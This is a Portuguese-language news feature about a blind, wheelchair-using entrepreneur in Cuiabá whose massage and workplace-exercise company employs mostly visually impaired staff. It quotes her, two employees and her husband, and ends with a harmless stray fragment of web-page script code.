A deficiência visual deixou de ser há muito tempo um obstáculo para a empresária Rosa Maria Dias Gonçalves, de Cuiabá. Rosa tem uma empresa que oferece serviços de massagem, ginástica laboral e alongamento terapêutico. A empresa foi criada em 2012 com o objetivo de incluir colaboradores cegos.
Rosa ficou cega aos 25 anos, quando foi diagnosticada com esclerose múltipla, doença em que o próprio sistema imunológico ataca o sistema nervoso.
A empresária conta que, para driblar a depressão, começou a frequentar o Instituto dos Cegos, onde aprendeu a escrever em braile e a se locomover. Em seguida, ela fez direito e cursos de massoterapia e terapias corporais. Aos 35 anos, depois de formada, a doença fez com que Rosa também parasse de andar. Após outro período de depressão, ela teve a ideia de criar a empresa.
“Em 2010, me formei em direito, tinha planos. Mas, depois de ficar sem andar, fiquei muito mal, tinha dores crônicas e voltei a ter depressão. Fiquei incomodada de ficar sem fazer nada. Eu tinha que encontrar alguma coisa que eu podia fazer na condição em que estou hoje”, lembra.
A proposta principal de Rosa é incluir outras pessoas que não enxergam no quadro de funcionários. Dos seis colaboradores da empresa, quatro têm alguma deficiência visual. Apenas o marido e o filho de Rosa enxergam. São eles que levam a equipe para atendimento nas empresas.
Uma das massoterapeutas da empresa, Ângela Emília de Souza, possui apenas 5% da visão devido uma tuberculose ocular. A colaboradora conta que existem dificuldades. “Mas a gente ergue a cabeça e segue sempre em frente. Fazendo com amor e se dedicando, isso é muito importante para a nossa vida”, diz.
Outra colaboradora diz que elas acabam sendo exemplo na vida das pessoas que atendem. “Tem gente que tem os olhos, os braços e reclama da vida”, explica Edenildes Evangelista da Cunha.
O marido de Rosa, Joel Pedroso de Barros, acompanha pessoalmente a prestação de serviços da equipe enquanto a esposa cuida da parte burocrática. Ele diz que não seria capaz de fazer o que a esposa faz. “Eu achei que era impossível, mas mesmo assim ela insistiu e persistiu”, revela.
A empresária diz que as prioridades mudaram depois de perder a visão e o movimento das pernas. “A gente sempre quer conquistar bens materiais. Devido à doença, eu vi outros valores que às vezes a gente até esquece. Hoje eu priorizo o hoje. Eu quero qualidade de vida, viver bem com a minha família e poder aproveitar o hoje”.
“Essa força, além da família, vem da gente querer viver, né? Quem não quer poder viver bem, viver mais um tempinho? Então, enquanto tiver esse tempo, vou aproveitando. Enquanto tenho os meus braços, ouvidos, audição e fala, eu vou aproveitando”, conta Rosa.d.getElementsByTagName(‘head’)[0].appendChild(s);